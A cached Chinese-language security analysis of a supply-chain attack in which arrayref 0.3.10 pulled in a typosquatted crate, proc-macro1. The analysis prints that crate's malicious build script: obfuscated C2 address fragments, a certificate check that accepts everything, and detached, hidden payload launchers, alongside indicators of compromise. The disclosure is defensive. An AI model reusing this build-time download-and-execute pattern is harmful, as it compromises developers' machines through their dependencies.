恶意Rust包Arrayref在构建时执行负载

Hacker News Top 新闻

摘要

流行的Rust包`arrayref`的一个受损版本包含了一个恶意的构建时负载,该负载在编译期间执行远程代码,影响了众多下游项目。

<a href="https:&#x2F;&#x2F;blog.rust-lang.org&#x2F;2026&#x2F;08&#x2F;20&#x2F;supply-chain-attack-on-arrayref&#x2F;" rel="nofollow">https:&#x2F;&#x2F;blog.rust-lang.org&#x2F;2026&#x2F;08&#x2F;20&#x2F;supply-chain-attack-on...</a><p><a href="https:&#x2F;&#x2F;github.com&#x2F;rustsec&#x2F;advisory-db&#x2F;issues&#x2F;3161" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;rustsec&#x2F;advisory-db&#x2F;issues&#x2F;3161</a>
查看原文
查看缓存全文

缓存时间: 2026/08/20 16:15

# 恶意 Rust Crate arrayref 在构建时执行载荷 来源:https://safedep.io/arrayref-proc-macro1-rust-build-time-malware/ ## 摘要 2026年8月20日,广受欢迎的 Rust crate `arrayref` 出现了一个被入侵的版本,发布在 crates.io 上。版本 0.3.10 新增了一个名为 `proc-macro1` 的拼写错误仿冒依赖项,其构建脚本会在项目编译时下载并运行远程二进制文件。由于代码在构建时运行,因此仅编译引入了该恶意版本的项目就足以触发它。crates.io 团队随后移除了这些恶意版本。 ## 涉及的包 正版的 `arrayref` 和 `append-only-vec` crate 由 `droundy` 维护,其账户似乎已被入侵。对应的 GitHub 仓库 `github.com/droundy/arrayref`、`github.com/droundy/append-only-vec` 以及整个 `github.com/droundy` 账户均返回 404,因此无法再检查上游代码。另一个账户 `dtolney` 发布了 `proc-macro1`,其用户名与 David Tolnay 的真实账户 `dtolnay` 非常相似。其元数据伪造了 `authors = ["David Tolnay <[email protected]>"]`,并将 `repository` 指向一个返回 404 的 `dtolnay/proc-macro1` 路径。 | Crate | 版本 | 发布者 | 状态 | | :--- | :--- | :--- | :--- | | `arrayref` | 0.3.10 | `droundy` (已入侵) | 恶意,已移除 | | `internment` | 0.8.7 | `droundy` (已入侵) | 恶意,已移除 | | `append-only-vec` | 0.1.9 | `droundy` (已入侵) | 恶意,已移除 | | `proc-macro1` | 所有版本 | `dtolney` (冒名顶替) | 恶意拼写仿冒,整个 crate 已移除 | | `proc-macro-en` | 所有版本 | - | 恶意依赖 crate,已移除 | | `aovine` | 所有版本 | - | 恶意依赖 crate,已移除 | | `arone` | 所有版本 | - | 恶意依赖 crate,已移除 | | `aronenao` | 所有版本 | - | 恶意依赖 crate,已移除 | | `tinymember` | 所有版本 | - | 恶意依赖 crate,已移除 | 注意,`proc-macro1` 并非 `proc-macro2`。宏作者依赖的真正 crate 是 `proc-macro2` (https://crates.io/crates/proc-macro2)。恶意的 `proc-macro1` 的 `src/` 是 `proc-macro2` 的真实副本,只是机械地进行了将 `proc-macro2` 替换为 `proc-macro1` 的查找替换。因此,构建在构建脚本运行期间仍能正常工作。 ## 构建脚本做了什么 载荷位于 `proc-macro1` 1.0.107 的构建脚本中。它将服务器地址以 base64 片段形式存储,并在构建时重新组装它们,咨询公告中的引述如下: ```rust // proc-macro1-1.0.107/build.rs (引自 rustsec/advisory-db#3161) const SRC_URL_PARTS: &[&str] = &["aHR0cHM6Ly8=", "MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "OTA4OS8="]; const END_URL_PARTS: &[&str] = &["MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "NDQz"]; ``` 解码后,这些片段生成的载荷主机地址为 `hxxps://23[.]254[.]165[.]112:9089/`,命令与控制地址为 `23[.]254[.]165[.]112:443`。该脚本通过一个不验证任何证书的 TLS 连接获取架构特定的二进制文件,然后在脱离构建进程的情况下运行它。在 Unix 系统上,它会释放并运行 `/tmp/rust-setup`。在 Windows 上,它会在 `%TEMP%` 下写入一个 PowerShell 脚本和一个 VBScript 启动器,以隐藏方式启动它们,然后放弃子进程,这样编译器就不会等待它完成。 ## 如何传播 账户所有者撤回了旧的 `arrayref` 版本 0.3.5 至 0.3.9。撤回一个 crate 会让 Cargo 打印“考虑更新到一个未被撤回的版本”的警告,这促使开发者选择唯一未被撤回的版本——恶意的 0.3.10。提交 RustSec 咨询公告的报告者 (https://github.com/rustsec/advisory-db/issues/3161) 指出,他们就是因此中招的。 `arrayref` 作为传递依赖被广泛使用。它通过 `tiny-skia`、`sctk-adwaita` 和 `winit` 深深嵌入常见的 Rust 依赖图中,这使其处于大多数基于 egui、eframe 和 iced 构建的 GUI 项目之下。该 crate 的总下载量约为 2.45 亿次(撰写时为 244,989,384 次),其中干净的 0.3.9 版本约占 1.52 亿次。这些数字衡量的是该 crate 的广泛使用程度,而非受影响构建的数量。 ## 入侵指标 | 类型 | 指标 | 详情 | | :--- | :--- | :--- | | 网络 | `23.254.165.112:9089` | 载荷主机 (HTTPS) | | 网络 | `23.254.165.112:443` | C2,作为 argv[1] 传递给载荷 | | 文件 (Unix) | `/tmp/rust-setup` | 下载的可执行文件 | | 文件 (Windows) | `%TEMP%\rust-setup.ps1` | 下载的 PowerShell 脚本 | | 文件 (Windows) | `%TEMP%\rust-setup-launch.vbs` | VBScript 启动器 | | 第二阶段文件名 | `rust-crate_0.1.0`, `_0.2.0`, `_0.3.0`, `_0.4.0` | 根据操作系统和架构选择 | | 被移除的 crate 产物的 SHA256: | | | | 产物 | 版本 | SHA256 | | `arrayref` | 0.3.10 | `25ad700976873c76af785cb99b33c48db7df8b81f21d1e9e06b3676b9a9373ae` | | `proc-macro1` | 1.0.107 | `61198155da51b838772eecf5bfaac6cbc4dcc388dccc56658fc28a8e831b34d4` | | `proc-macro1` | 1.0.106 | `b5c1b5b0763a8809a644a8f92224653f0aca623a98eecc714d27f74b80fbe436` | --- ## 第二部分:技术分析 我们的技术分析涵盖了此次事件背后的两个 crate:`arrayref` 0.3.10 和 `proc-macro1` 1.0.107。`arrayref` 0.3.10 引入了一个名为 `proc-macro1` 的依赖项。恶意代码位于 `proc-macro1` 的构建脚本中,而非 `arrayref` 本身。 ### arrayref 中的注入点 `arrayref` 是一个包含四个宏的小型 crate。直到 0.3.9 版本,它都没有构建脚本和运行时依赖。0.3.10 版本保留了该宏源代码,并在清单文件中添加了一行: ```toml [package] name = "arrayref" version = "0.3.10" build = false [dependencies.proc-macro1] version = "1.0.107" ``` 这个 `[dependencies.proc-macro1]` 条目足以引入恶意 crate。要求 `1.0.107` 是一个补丁范围,由于只发布过 1.0.106 和 1.0.107,它解析为恶意的 1.0.107。该 crate 自身的 `src/lib.rs` 是普通的宏代码,例如 `array_ref!` 宏: ```rust #[macro_export] macro_rules! array_ref { ($arr:expr, $offset:expr, $len:expr) => {{ { #[inline] const unsafe fn as_array(slice: &[T]) -> &[T; $len] { &*(slice.as_ptr() as *const [_; $len]) } let offset = $offset; let slice = &$arr[offset..offset + $len]; #[allow(unused_unsafe)] unsafe { as_array(slice) } } }}; } ``` `arrayref` 源代码中没有任何地方引用 `proc-macro1`,也不需要引用。Cargo 会构建所有声明的非可选依赖项,无论代码是否使用它。因此,仅清单条目就使得当项目引入 `arrayref` 0.3.10 时,Cargo 就会获取并构建 `proc-macro1`,而构建它会运行恶意的构建脚本。 ### proc-macro1 是 proc-macro2 的重命名副本 `proc-macro1` 的 `src/` 是 proc-macro2 经过机械查找替换(将 `proc-macro2` 替换为 `proc-macro1`)后的结果。这种重命名深入到了文档链接甚至复制的问题引用中,例如 `src/lib.rs` 中的 `html_root_url = "https://docs.rs/proc-macro1/1.0.107"` 和 `src/fallback.rs` 中的 `github.com/dtolnay/proc-macro1/issues/235` 链接。由于库代码是真正的 proc-macro2,该 crate 可以作为替代品工作。这使得恶意 crate 在正常构建过程中更不易被察觉。 该包的元数据伪造了身份: ```toml authors = ["David Tolnay <[email protected]>"] repository = "https://github.com/dtolnay/proc-macro1" ``` 电子邮件 `[email protected]` 不是 David Tolnay 的,`dtolnay/proc-macro1` 仓库返回 404。可疑的差异在于构建依赖项,而真正的 proc-macro2 没有这些: ```toml [build-dependencies.base64] version = "0.22" [build-dependencies.rustls] version = "0.23" features = ["ring", "std", "tls12"] default-features = false [build-dependencies.ureq] version = "2" features = ["tls"] default-features = false ``` 这三个 crate 为构建脚本提供了 base64 解码、TLS 栈和 HTTP 客户端。这些依赖项对于一个 token 解析库来说是不寻常的,恶意构建脚本使用了它们。 ### 构建脚本载荷 构建脚本将服务器地址拆分为 base64 片段,并在编译时重新构建它,因此原始字符串从未出现在源代码中: ```rust const SRC_URL_PARTS: &[&str] = &["aHR0cHM6Ly8=", "MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "OTA4OS8="]; const END_URL_PARTS: &[&str] = &["MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "NDQz"]; ``` 解码后,`SRC_URL_PARTS` 是 `hxxps://23[.]254[.]165[.]112:9089/`,`END_URL_PARTS` 是 `23[.]254[.]165[.]112:443`。下载使用了一个接受任何证书的 TLS 客户端。`AcceptAll` 验证器在 `rustls` 的 `ServerCertVerifier` trait 的每次证书和签名检查中都返回成功,因此使用原始 IP 的自签名证书也能通过: ```rust impl ServerCertVerifier for AcceptAll { fn verify_server_cert(/* ... */) -> Result { Ok(ServerCertVerified::assertion()) } // verify_tls12_signature 和 verify_tls13_signature 也无条件返回成功 } ``` 构建脚本根据操作系统和架构选择要获取的二进制文件。它支持四个目标,并在其他情况下中止构建: ```rust fn link_suffix() -> &'static str { match (std::env::consts::OS, std::env::consts::ARCH) { ("linux", "x86_64") => "rust-crate_0.1.0", ("windows", "x86_64") => "rust-crate_0.2.0", ("macos", "x86_64") => "rust-crate_0.3.0", ("macos", "aarch64") => "rust-crate_0.4.0", (_, _) => panic!("unsupported platform"), } } ``` 下载和执行在 `main` 函数内运行,位于特性门控和后续真正的 proc-macro2 配置逻辑之前。没有特性标志或环境检查保护它,因此它在每个支持平台的构建上都会运行: ```rust // proc-macro1-1.0.107/build.rs (在 main 内部) let url = src_download_url(); let bytes = download_bytes(&url); match std::env::consts::OS { "linux" | "macos" => run_unix_payload(bytes), "windows" => run_windows_payload(bytes), os => panic!("unsupported OS: {os}"), } ``` 在 Unix 上,构建脚本将字节写入 `/tmp/rust-setup`,将文件标记为可执行文件,并在不等待的情况下生成它,将命令与控制地址作为第一个参数传递。它将所有标准流发送到空设备: ```rust fn run_unix_payload(bytes: Vec<u8>) { let path = PathBuf::from("/tmp/rust-setup"); std::fs::write(&path, &bytes).expect("failed to write payload"); Command::new("chmod").args(["+x", path_str]).status().expect("failed to run chmod"); Command::new(&path) .arg(end_url()) .stdin(Stdio::null()) .stdout(Stdio::null()) .stderr(Stdio::null()) .spawn() .expect("failed to spawn payload"); } ``` 在 Windows 上,获取的字节是一个 PowerShell 脚本。构建脚本将它们写入 `%TEMP%\rust-setup.ps1`,并通过 `wscript.exe` 下的 VBScript 启动器启动它们,源代码中的一个注释解释了原因: ```rust // 通过 WScript 执行 ShellExecute 可以绕过 Cargo 的作业对象;否则生成的子进程会 // 让构建脚本(和 `cargo build`)等待它们退出。 let vbs = format!( r#"CreateObject("Wscript.Shell").Run "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -File ""{script}"" ""{end}""", 0, False"#, script = script_path.display(), end = end_url(), ); // ... let child = Command::new("wscript.exe") .args(["//B", "//Nologo", launcher_str]) .creation_flags(CREATE_NO_WINDOW) .spawn() .expect("failed to spawn wscript launcher"); std::mem::forget(child); ``` 启动器以隐藏方式运行,且不等待进程。源代码注释指出,通过 WScript 路由正是绕过 Cargo 作业对象的原因,因此 PowerShell 在构建完成后仍会继续运行。最后的 `std::mem::forget` 泄漏了 `wscript` 子进程句柄,使其析构函数永远不会运行。这共同将载荷与 Cargo 分离,允许载荷在不阻塞 Cargo 构建的情况下继续运行。

相似文章

使用 Cackle 提高 Rust 供应链攻击难度(2023)

Lobsters Hottest

David Lattimore 介绍了 Cackle,这是一个通过使用访问控制列表(ACL)限制依赖项行为来帮助防止 Rust 供应链攻击的工具,从而降低通过第三方 crate 引入恶意代码的风险。

事故报告:CVE-2024-YIKES

Hacker News Top

一份讽刺性的事故报告描述了一场灾难性的多阶段供应链攻击,该攻击始于一个被篡改的 JavaScript 依赖项,并在 Rust 和 Python 生态系统中蔓延,最终因一只挖矿蠕虫的“意外介入”而得以解决。

我用Rust构建了一个自托管的上下文赌博机装置,并部署在一个实时的AI交易产品上。在发现运行时错误之前,先找到了自己配置中的两个错误。

Reddit r/ArtificialInteligence

宣布两个开源Rust项目:Lycan(一种用于上下文赌博机的图执行语言)和Syntra(一个自托管的Docker设备,用于服务Lycan胶囊)。作者在自己的实时AI交易产品上自用测试,发现数据管道错误(而非算法问题)主导了适配工作。